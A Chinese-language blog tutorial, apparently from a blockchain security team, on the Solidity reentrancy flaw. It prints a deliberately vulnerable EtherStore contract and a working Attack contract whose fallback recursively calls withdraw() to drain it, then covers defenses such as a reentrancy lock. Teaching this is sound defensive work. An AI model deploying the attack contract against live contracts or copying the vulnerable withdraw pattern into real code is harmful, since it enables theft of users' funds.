solidity智能合约基础漏洞–重入漏洞

区块链安全 3年前 (2022) admin
617 0 0
solidity智能合约基础漏洞--重入漏洞


0x01 重入本质

调用外部合约或将Ether发送到地址的操作需要合约提交外部调用,这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码导致重新进入逻辑。


0x02 前置知识

我们需要先知道以下几种函数的区别

  • <address>.transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。

  • <address>.send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。

  • <address>.call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。

payable 标识符

  • 在函数上添加 payable 标识,即可接受 Ether,并将其存储在当前合约中。


0x03 漏洞复现

以当前最新版 Solidity 0.8 为例:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
contract EtherStore {    mapping(address => uint) public balances;
   function deposit() public payable {        balances[msg.sender] += msg.value;    }
   function withdraw() public {        uint bal = balances[msg.sender];        require(bal > 0);
       (bool sent,) = msg.sender.call{value: bal}(""); // Vulnerability of re-entrancy        require(sent, "Failed to send Ether");
       balances[msg.sender] = 0;    }
   // Helper function to check the balance of this contract    function getBalance() public view returns (uint) {        return address(this).balance;    }}

EtherStore 合约在转账函数 withdraw() 中使用了<address>.call{}() 函数,这导致黑客可利用 fallback() 函数递归调用 withdraw() 函数,从而把 EtherStore 合约上所有的钱都转走。我们接着上述合约继续编写攻击代码:

contract Attack {    EtherStore public etherStore;
   constructor(address _etherStoreAddress) {        etherStore = EtherStore(_etherStoreAddress);    }
   // Fallback is called when EtherStore sends Ether to this contract.    fallback() external payable {        if (address(etherStore).balance >= 1 ether) {            etherStore.withdraw();        }    }
   function attack() external payable {        require(msg.value >= 1 ether);        etherStore.deposit{value: 1 ether}();        etherStore.withdraw(); // go to fallback    }
   // Helper function to check the balance of this contract    function getBalance() public view returns (uint) {        return address(this).balance;    }}

攻击代码首先创建一个构造函数用于接收漏洞代码的合约地址,然后编写攻击函数:存钱 deposit() 后调用能重入的函数 withdraw(),然后编写 fallback() 函数递归调用重入函数。


我们部署第一份合约,将 90 个 Ether 存入合约地址:

solidity智能合约基础漏洞--重入漏洞

接着,我们换账号部署第二份合约。部署时,需要传入第一份合约的地址。然后将 1 Ether 存入该合约,进行攻击:

solidity智能合约基础漏洞--重入漏洞

接下来查询攻击合约的余额:

solidity智能合约基础漏洞--重入漏洞

点击 getBalance,查询到该合约有 91000000000000000000 wei,刚好是原始合约的 90 ether 加上我们存入的 1 ether,攻击至此完成。


0x04 安全建议

最简单防止重入的办法是不用<address>.call() 函数,选择更加安全的函数,如:transfer() 和 send()。


如果一定要用 call() 函数,可选择加锁来防止重入:

contract ReEntrancyGuard {    bool internal locked;
   modifier noReentrant() {        require(!locked, "No re-entrancy");        locked = true;        _; // re-entrancy        locked = false;    }}

如果还像之前那样编写攻击代码,当从 callback() 函数中第二次调用上述函数时,require 的检查不会通过。这样就防止了重入。


0x05 总结

区块链领域的安全问题不容忽视,这就要求开发者必须时刻小心谨慎,养成防御性编程思维。尤其是调用外部合约的函数,一般全都应视为不可信,将各种写操作(更新状态变量等)均放在重入函数之前。

在此呼吁开发者们,重视并养成良好的开发习惯。对于外部合约的调用,应时刻保持谨慎的态度。


?扫描关注零时科技服务号?

?区块链安全威胁情报实时掌握?

solidity智能合约基础漏洞--重入漏洞


出品 零时科技安全团队

·END·

关注

往期内容回顾

区块链安全100问 | 第一篇:区块链安全是什么

区块链安全100问 | 第二篇:初识加密数字资产及安全

区块链安全100问 | 第三篇:数字钱包面临的安全风险

区块链安全100问 | 第四篇:保护数字钱包安全,防止资产被盗

区块链安全100问 | 第五篇:黑客通过这些方法盗取数字资产,看看你是否中招?

区块链安全100问 | 第六篇:智能合约面临的安全风险

零时科技|Solidity 基础漏洞 – 代码执行漏洞

零时科技 | 被盗6.1亿美金,Poly Network 被攻击复盘分析

喜讯|零时科技完成天使轮800万元融资,持续深化区块链生态安全布局

Popsicle攻击事件复盘分析 | 零时科技

黑客大揭秘!扫码转账即可控制你的数字钱包

原文始发于微信公众号(零时科技):solidity智能合约基础漏洞–重入漏洞

版权声明:admin 发表于 2022年3月2日 下午6:10。
转载请注明:solidity智能合约基础漏洞–重入漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...